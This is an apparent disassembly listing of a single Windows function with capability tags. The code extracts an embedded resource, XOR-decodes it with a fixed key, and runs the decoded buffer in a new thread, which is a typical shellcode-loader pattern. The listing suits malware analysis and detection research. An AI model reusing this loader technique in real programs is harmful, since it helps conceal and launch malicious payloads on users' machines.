Function at 0x140002150
Capabilities:
Create thread
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x40
movaps xmmword [rsp + 0x30], xmm6
xor ecx, ecx
movdqa xmm6, xmmword [0x140031f60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 0xfe
mov r8d, 0xa
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x1400021d4
lea rdx, str.Failed_to_find_resource.
call fcn.140002540
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140002ea0
movzx edx, al
mov rcx, rbx
call fcn.140002cf0
mov rcx, rbx
call fcn.140002b90
lea eax, [rdi + 1]
mov rbx, qword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop rdi
ret
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x14000222d
lea rdx, str.Failed_to_load_resource.
call fcn.140002540
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140002ea0
movzx edx, al
mov rcx, rbx
call fcn.140002cf0
mov rcx, rbx
call fcn.140002b90
mov eax, 1
mov rbx, qword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x50], rbp
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
jne 0x14000227e
lea rdx, str.Failed_to_lock_resource.
call fcn.140002540
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140002ea0
movzx edx, al
mov rcx, rbx
call fcn.140002cf0
mov rcx, rbx
call fcn.140002b90
lea eax, [rbp + 1]
jmp 0x140002404
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
jne 0x1400022cd
lea rdx, str.Failed_to_get_size_of_resource.
call fcn.140002540
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140002ea0
movzx edx, al
mov rcx, rbx
call fcn.140002cf0
mov rcx, rbx
call fcn.140002b90
mov eax, 1
jmp 0x140002404
mov rcx, rdi
mov qword [rsp + 0x58], rsi
call fcn.1400031c4
mov r8, rdi
mov rdx, rbp
mov rcx, rax
mov rsi, rax
call fcn.140025a20
xor r10d, r10d
mov edx, r10d
test edi, edi
je 0x14000237d
cmp edi, 0x40
jb 0x140002361
mov r8d, edi
lea r9d, [r10 + 0x20]
and r8d, 0xffffffc0
nop dword [rax]
mov eax, edx
add edx, 0x40
movdqu xmm0, xmmword [rax + rsi]
xorps xmm0, xmm6
movdqu xmmword [rax + rsi], xmm0
lea eax, [r9 - 0x10]
movdqu xmm0, xmmword [rax + rsi]
xorps xmm0, xmm6
movdqu xmmword [rax + rsi], xmm0
mov eax, r9d
movdqu xmm0, xmmword [rax + rsi]
xorps xmm0, xmm6
movdqu xmmword [rax + rsi], xmm0
lea eax, [r9 + 0x10]
add r9d, 0x40
movdqu xmm0, xmmword [rax + rsi]
xorps xmm0, xmm6
movdqu xmmword [rax + rsi], xmm0
cmp edx, r8d
jb 0x140002310
cmp edx, edi
jae 0x14000237d
mov eax, edx
add rax, rsi
sub edi, edx
mov ecx, edi
nop word [rax + rax]
xor byte [rax], 0xdd
lea rax, [rax + 1]
sub rcx, 1
jne 0x140002370
mov qword [rsp + 0x28], r10
lea r8, [0x140001140]
mov r9, rsi
mov dword [rsp + 0x20], r10d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x1400023da
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call fcn.140003180
xor eax, eax
jmp 0x1400023ff
lea rcx, str.Failed_to_create_the_thread_n
call fcn.140001390
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop rdi
ret